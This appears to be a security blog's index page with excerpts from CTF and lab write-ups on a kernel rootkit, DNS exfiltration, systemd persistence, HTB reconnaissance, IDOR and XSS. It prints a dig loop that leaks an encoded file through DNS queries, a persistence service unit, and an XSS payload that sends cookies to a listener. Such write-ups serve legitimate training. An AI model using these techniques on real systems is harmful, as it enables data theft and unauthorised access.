Give me somethin' to break ~ Limp Bizkit

The challenge was simple on paper: disarm a Linux kernel module rootkit and recover hidden data. In practice, this was my first Hack The Box challenge, and until now I had mostly played with crackmes. Getting an IP address and port as part of a reversing challenge already threw me off for a moment.

The provided file was diamorphine.ko. A .ko file is a Linux kernel object: it can be loaded with insmod, removed with rmmod, and listed with lsmod if the module is not hiding itself.

file identified it as:

1
ELF 64-bit LSB relocatable, x86-64, with debug_info, not stripped

That last part mattered. Because the module was not stripped, Ghidra still showed useful function names instead of leaving me with anonymous blobs. strings produced too much noise to be helpful, so I moved into Ghidra and started from the symbol tree.

The interesting functions were:

  • diamorphine_init
  • diamorphine_cleanup
  • find_task
  • get_syscall_table_bf
  • give_root
  • hacked_getdents
  • hacked_getdents64
  • hacked_kill
  • is_invisible
  • module_hide
  • module_show

Every kernel module has an initialization and cleanup path, which in this case were diamorphine_init and diamorphine_cleanup. The rest of the names were already a pretty good map of the rootkit:

  • module_hide and module_show remove or restore the module from the kernel’s module list, which is why lsmod may not show it.
  • give_root does exactly what the name suggests.
  • get_syscall_table_bf locates the syscall table by brute force.
  • is_invisible checks whether a process has been marked as hidden.

From there, the two most important hooks were hacked_kill and hacked_getdents64.

Read More

Data Exfiltration by Abusing DNS

This was BreachLab’s Phantom The Heist

DNS is easy to overlook during a compromise. It is usually allowed out of a network, it is noisy by nature, and many environments focus harder on HTTP, SSH, or obvious file transfer tools. That makes it a useful channel for moving small amounts of data when a host can resolve external names.

In this lab example, the target file was:

1
/opt/vault/classified.db

The exfiltration command was:

1
2
3
4
5
i=0
base32 -w0 /opt/vault/classified.db | tr -d '=' | tr 'A-Z' 'a-z' | fold -w32 | while read -r chunk; do
dig @10.13.37.30 "${chunk}.${i}.123.exfil.local" A
i=$((i+1))
done

How It Worked

The important trick is that DNS names can carry attacker-controlled text. Instead of sending the file directly over HTTP or copying it with scp, the file is encoded and placed into DNS query labels.

This part reads the file and converts it to DNS-safe text:

Read More

Persistence by Abusing systemd Services

User-level systemd services live in:

1
~/.config/systemd/user/

If the directory does not exist yet, create it first:

1
mkdir -p ~/.config/systemd/user

Create a user service file:

1
vi ~/.config/systemd/user/persistence.service
1
2
3
4
5
6
7
8
9
10
[Unit]
Description=Persistence service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'echo pwned'
RemainAfterExit=yes

[Install]
WantedBy=default.target

Reload the user systemd manager and enable the service:

1
2
systemctl --user daemon-reload
systemctl --user enable persistence.service
Read More
post @ 2026-06-04

Silentium - CTF Writeup

Reconnaissance

A full TCP scan exposed SSH and an nginx web server. The web server redirected to the virtual host silentium.htb.

1
nmap -T4 -A -sS -sV -p- 10.129.9.0
Port Service Version Notes
22/tcp SSH OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 Ubuntu host
80/tcp HTTP nginx 1.24.0 Redirects to silentium.htb

Virtual host enumeration revealed another application:

1
staging.silentium.htb

Web Enumeration

The password reset flow on the staging host returned a useful backend error:

1
Transaction is not started yet, start transaction before commiting or rolling it back
Read More
post @ 2026-05-31

Principal - CTF Writeup

Reconnaissance

The initial port scan showed only two exposed services: SSH and a Jetty-based web application on port 8080.

1
2
3
4
5
6
7
8
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-28 09:52 -0400
Nmap scan report for 10.129.244.220
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
8080/tcp open http-proxy Jetty

The HTTP service redirected to /login and exposed an interesting application header:

1
2
3
4
HTTP/1.1 302 Found
Server: Jetty
X-Powered-By: pac4j-jwt/6.0.3
Location: /login
Port Service Notes
22/tcp SSH OpenSSH 9.6p1 on Ubuntu
8080/tcp HTTP / Jetty Login page with pac4j-jwt/6.0.3 header

Web Enumeration

After checking the visible application and finding no obvious path forward, the X-Powered-By header became the main lead:

1
X-Powered-By: pac4j-jwt/6.0.3
Read More
post @ 2026-05-08

Web Attacks — Skill Assessment Writeup

Step 1: IDOR — User Enumeration

The application manages sessions using a uid cookie. Modifying this value allows impersonating other users.

While browsing profiles, an API call fetches user data via a URL parameter:

1
GET /api/user?id=52

Using Burp Suite Intruder (Battering Ram) to enumerate user IDs and filtering responses for Administrator with grep:

1
2
3
4
5
6
{
"uid": "52",
"username": "a.corrales",
"full_name": "Amor Corrales",
"company": "Administrator"
}

Step 2: Understand the password-reset flow

The password reset function calls two endpoints:

Read More
post @ 2026-05-04

CTF Writeup — HTB Machine (10.129.48.150)


Reconnaissance

A full port scan was conducted against the target to enumerate open services.

1
nmap -T4 -A -sS -sV -p- 10.129.48.150

Results:

Port State Service Version
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
80/tcp open http Gunicorn (Security Dashboard)

The target is running Linux 5.0–5.14, reachable via 2 hops (RTT ~11ms).


Web Enumeration — IDOR

Read More

After inspecting the site, one small detail in the Survey stood out:
Our team reads every word! Be creative and specific.
when reading this i instantly thought about XSS.

1
2
3
4
5
6
7
<script>  
fetch('http://localhost:8000', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

this is a very simple payload which requires the site to have no real input validation.
I set up a python3 webserver using the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from http.server import HTTPServer, SimpleHTTPRequestHandler
import json

class PostHandler(SimpleHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)

# Log the POST data
print(f"POST request received:")
print(f"Path: {self.path}")
print(f"Headers: {self.headers}")
print(f"Body: {post_data.decode('utf-8')}")

# Send response
self.send_response(200)
self.send_header('Content-type', 'application/json')
self.end_headers()

response = {'status': 'success', 'received': post_data.decode('utf-8')}
self.wfile.write(json.dumps(response).encode())

if __name__ == '__main__':
server = HTTPServer(('localhost', 8000), PostHandler)
print('Server running on http://localhost:8000')
server.serve_forever()

to get the flag all i had to do is start the webserver by running: python3 server.py
and sent the payload via the survey.

at the end i got the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Body: flag=THM{XSS_CuP1d_Str1k3s_Ag41n}
10.66.169.156 - - [15/Feb/2026 09:45:15] "POST / HTTP/1.1" 200 -
POST request received:
Path: /
Headers: Host: 192.168.134.175:8000
Connection: keep-alive
Content-Length: 33
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/144.0.0.0 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://localhost:5000
Referer: http://localhost:5000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.
Read More
post @ 2026-05-01

This category is for my Hack The Box notes, machine writeups, and training progress.

Future posts here can include box walkthroughs, enumeration notes, and lessons learned.

Read More
post @ 2026-05-01

This category is for my PortSwigger Academy notes, lab references, and web security learning.

Future posts here can include lab summaries, exploitation notes, and useful techniques.

Read More
⬆︎TOP